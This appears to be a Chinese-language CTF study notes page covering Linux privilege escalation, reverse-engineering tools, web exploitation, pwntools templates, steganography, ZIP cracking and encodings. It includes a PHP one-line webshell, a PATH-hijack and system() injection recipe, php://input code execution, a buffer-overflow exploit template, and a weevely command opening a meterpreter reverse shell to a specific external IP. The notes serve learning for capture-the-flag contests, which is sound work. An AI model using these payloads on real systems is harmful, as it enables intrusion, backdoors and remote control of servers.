CTF 基础知识点

训练站点

推荐规划

系统 Exploit

Linux Exploit

C编译

应当不用保护

gcc 1.c -o 1 -O0 -fno-stack-protector -z execstack 1.c -o 1

-m3232bit 编译

提权

查看可使用的执行文件

find / -perm -u=s -type  f 2 >/dev/null

通过这个命令查看哪些文件可以被现在的用户使用,并找到提权方法。

修改变量攻击

思路是找到s权限的执行文件,这个执行文件包括调用了更高级别的命令。
那么就可以通过修改其中的命令的调用地址来达到目的

比如flag01使用到了ps命令

$ echo '/bin/bash' > /tmp/ps
$ chmod 777 /tmp/ps
$ export PATH=/tmp:$PATH
$ ./flag01

system() 任意命令攻击

原理是使用print系函数向buff中写入了可选字符串,然后通过system()运行

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
system(buffer);

上例中就将getenv('USER')作为变量输入,利用方法就是修改环境变量达到任意命令的写入

Windows Exploit

提权

字节序(小端机和大端机)

一般来说,WIndows和Linux都是使用的小端机模式。
而网络传输使用的是大端机

import struct
struct.pack('<i', 0x01020304)

# < 是小端模式 # i 是整数型

逆向工程

大部分因为都是Linux下面的题目,所以下面写的默认为Linux操作

静态工具

objdump

  1. 将整个文件反汇编Dump下来
objdump -d -M intel <file_name> > dump.asm
  1. 获取 got 表
objdump -R <file_name>

strings

用于查找文件中的字符串

ldd

用于查看动态链接库

file

查看文件类型

checksec

查看保护状态

十六进制编辑

hexeditor -b <file>

  • ctrl + i 十六进制和文本切换
  • ctrl + a 插入
  • ctrl + d 删除
  • ctrl + o 保存

动态调试工具

X64dbg

脱壳

当看到其中包含大量的加密字段,不要怀疑是否需要解密,直接找找字符串,看是什么壳

UPX

  • upx 这样的经典壳可以自动脱壳

upx -d <file>

其他类型题目

数独

要做数独,一定会给出基础数字以及体积关系,比如9*9大小的各个数存在内存中。

所以解题逻辑就是找到申请的内存,然后再找到初始化的数值。
最后通过在线网站解出答案
提交的flag原始数据替换为0,因为提交的答案是要验证的。

Web

对图片的验证

使用的是google开源的图片识别系统pytesseract
对图像的打开使用的是PIL Python Image Library

import pytesseract
from PIL import Image

img = Image.open('code.png') text = pytesseract.image_to_string(img)

上传 webshell

一句话木马

基本型

<?php
  eval($_POST['a']);
?>
变体

这里是变形体的总结

  1. 修改脚本语言标签

<?php ?><script language="PHP"> </script>

注意为"

webshell 工具

CKnife

这里是跨平台CKnife的 Github 地址

webcaoo
  • 生成

    webacoo -g -o a.php
    
  • 连接

    webacoo -t -u <url>
    
weevely
  • 生成
weevely generate <password> <path>
  • 连接
weevely <URL> <password> [cmd]
  • 常用命令
    :system_info 收集系统基本信息
    :audit_filesystem 查找系统文件中的弱权限
    :audit_suidsgid 查找有使用高级权限的文件
    :shell_sh 执行SHELL命令
    :backdoor_meterpreter 通过meterpreter连接
    > backdoor_meterpreter -payload linux/x64/meterpreter/reverse_tcp -host 144.34.215.199 -port 4444
    > msfconsole(LHOST 127.0.0.1)
    :file_download 下载文件
    :sql_console sql交互
    :sql_dump 脱库
    :net_scan 网络扫描
    

文件上传漏洞

  1. phpinfo()allow_url_include处于开启状态,意味着可以使用RAW_POST提交数据
<url>?path=php://input

post: <?php system('ls'); ?>
  1. 文件的写入除了fwrite() 还有**file_put_contents**

file_put_contents除了string还支持数组。

所以可以像data[]=<?php eval() ?>这样,通过数组绕过正则检测。

  1. 限制上传

当出现限制上传的时候,应该首先考虑是否有javascript脚本或者通过修改Content-Type类型来达到绕过的目的。、

Pwntools

from pwn import *

连接

c = remote(ip, port)

发送和接收

send(payload) # 发送payload
sendline(payload)  # 发送payload, 已\n换行
sendafter(some_string, payload) # 接受到some_string后发送payload

recvn(n) # 接受N(数字)字符 recvline() #接受一行输出 recvlines(n) # 接收N行输出 recvuntil(some_string) # 接收到 some_string 为止

转码

p32(0x01020304) # '\x04\x03\x02\x01'
		# 小端序格式转化4个字节
p64()
p16()

交互

c.interactive()

调试

p = process('./prc') # 运行设置要运行的程序
context.log_level = 'DEBUG' # 显示所有输入输出信息
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] # 设置运行的terminal, 还可以安装tmux
gdb.attach(p)

基本模板

from pwn import *
context.log_level = 'debug' #debug模式,可输出详细信息
conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
print str(pwnlib.util.proc.pidof('<file_name>')[0]) #这两条便于在gdb下迅速attach 上对应的pid

## context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof('<file_name>')[0])
raw_input('continue') conn.recvuntil('Welcome') #两种不同的recv conn.recv(2048) shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式 conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯 conn.interactive() #拿到shell之后,用此进行交互
from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*136 + p64(0x00000000004005bd)
##pwn.recvuntil('Welcome') #两种不同的recv
pwn.sendline(payload)
pwn.interactive()

本地调试

socat tcp-listen:12345,fork EXEC:./<file_name>

gdb -> attach <pid> # 通过附加来得到准确的调试

MISC

隐写术

图片的隐写术

一般使用Stegsolve这个工具。

这个工具包含:

  • 可以键盘左右来测试不同的色彩通道
  • 和其他图片进行xor,sub等操作
  • gif格式的动图可以一帧一帧的看
LSB 最低有效位 (Least Significant Bit)

这个的原理是利用RGB后两位的差别人眼看不出来的利用。将信息写在RGB的后2bit。

(而要使用这样的隐写术,jpg格式就不行,因为jpg格式的会有损压缩。)

解题用到Stegsolve这个工具。

这里是参考文章

图片的叠加

通常首先检查这个图片是否有其他文件叠加起来,为什么可以叠加,原因在于PNG的结束符为FF D9。结束符后面的内容不做显示。

查看并且提取文件的方法:

  • binwalk -e <file> -e 是提取文件。
  • foremost <file> 提取文件
  • dd if=要分离的图片名.jpg of=分离出来的图片名.jpg skip=偏移量 bs=1 手动分离

音频的隐写术

一般使用Audacity工具

莫斯密码

有敲打声, 放大波形图

频谱图

有的会通过在频谱中写入flag的方式来隐藏

解密的方法是在Audacity点击轨道名称 -> 频谱图

网络包的隐写术

隐藏在tcp流中的文件提取方法
  1. 通过文件 -> 导出对象 -> HTTP选择需要导出的文件

或者

  • 找到tcp流,然后保存为C Array格式的文件,简单的修改数组为python格式的数组后,写段脚本保存到二进制文件
with open('test.bin', 'wb') as file:
	a = bytearray(array_code)
	file.write(a)
  1. 使用foremost工具
foremost -v -i file.pcap
通过报文的长度传递信息

常见的是ping可以随意的控制报文的长度,通过时间顺序排列出ping报文,然后得出长度,但是这个长度一般是有偏移的,所以写一个遍历range(-50, 50)这样的偏离就可以找到flag

cap文件载入出错

有时候会有cap文件载入出错,此时需要修复为pcap文件, 在这个网站修复

将flag放在IP头部中

一般会有一序列能让你找到的flag字符串,找到后这些TCP中的IP头部中可能就会隐藏着真正的flag

要如何找,flag会被拆分放到各个TCP中,而且可能是颠倒的,所以还是要考眼力,多种情况的flag样式要敏感

SSL加密报文

想要解密SSL的加密报文,需要有key.log,这个key的格式如下:

CLIENT_RANDOM a3cd2cd8add1529ff7c65dc2fdc99504ca00b38f79bad693372ddc1d23cf6e50 4cc397a91832195287d8614db7e5c9175395a7063eefed8d3b2b06c04a8213345fcdd233e4b82a8695dd17c32bfaeeb9

这里是如何使用wireshark解密SSL的文章。

简单来讲是找到key.log
Wireshark->Edit->Preferences->Protocols->SSL->(Pre)-Master-Secret log filename-><path>\sslkey.log


文件头部破坏

  • 这里是各种头部的特征码

GIF

GIF字段+版本号,通常是:

GIF89a 或者GIF87a

PNG

通常是
89 50 4E 47 0D 0A 1A 0A 00 00 00 00 49 48 44 52 .PNG........IHDR

文本转到二进制文件

  • 当给出的是 00000000: 4c5a 4950 01b3 007f b61b edf0 8440 58e3 LZIP.........@X.这样的文件时,可以通过xxd直接转换成二进制文件
cat file.txt | xxd -r > file.bin
  • 当给出的是4c5a 4950 01b3 007f b61b edf0 8440 58e3这样的,或者是wireshark给的C Array类型的数组格式
f = open('./file.txt')

tmp = []
for line in f.readlines():
for i in line.strip().split(' '):
if len(i) == 4: tmp.append(int(i[:2], 16)) tmp.append(int(i[2:], 16)) elif len(i) == 2: tmp.append(int(i, 16))
out = open('./file.bin', 'wb') out.write(bytearray(tmp)) # bytearray()是关键方法

关于 ZIP 的题目

  • 这里是关于ZIP破解的总结

爆破软件

ZipPasswordTool.exe

HAP_Advanced Archive Password Recovery 4.53.exe

伪密码

方法是定位到50 4B 01 02,然后向后找到09 00 修改为00 00
如果是伪加密,那么就可以直接解压了。unzip

010Editor中可以看到,伪密码所在的地方是ZIPDIRENTRY -> deFlags
奇数加密,偶数不加密。

爆破

多线程使用 ZipPasswordTool.exe

当需要用到掩码的时候,使用AdvancedArchivePasswordRecovery.exe

明文攻击

当能够取得加密文件中其中一个文件时,可以使用明文攻击。
原理是通过计算crc的值而直接得到加密秘钥。

LZIP 文件

lzip文件是单文件压缩,通过工具lzip -d解压

python 反编译

  • 使用uncompyle2反编译

Github项目地址

加解密

在线工具集



  • 这里介绍了CTF常用的加密技术
  • 这里是一份完整的密码学汇总
  • 这里也是总结,有表

Quoted-printable编码

可打印编码
特点 是有3个为一组,每组开头都是=

e.g: =B9=A4=D7=F7=BC=F2=B1=A8

用处是可以用在非8bit的传输通道上

XXencode

特点 是末尾有+或者-

MD5

特点数字+字母,并且要么是32位,要么是64位

二进制

特点 8bit一组的0 1

JsFuck

特点 全是[ ] !

bubblepy

特点 已字母5个为一组,用-连接

如:

xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx

解密方法是使用python的库

pip install bubblepy

>>> from bubblepy import BubbleBabble >>> str = 'xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx' >>> BubbleBabble().decode(str) 'flag{Ev3ry7hing_i5_bubb13s}'

PDF417

二维条形码,比普通条形码能记录更多的东西,并且不需要数据库。

在线条码读取器,翻墙。比手机要准确,支持多种格式。

差分曼彻斯特编码

常用于局域网的传输


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com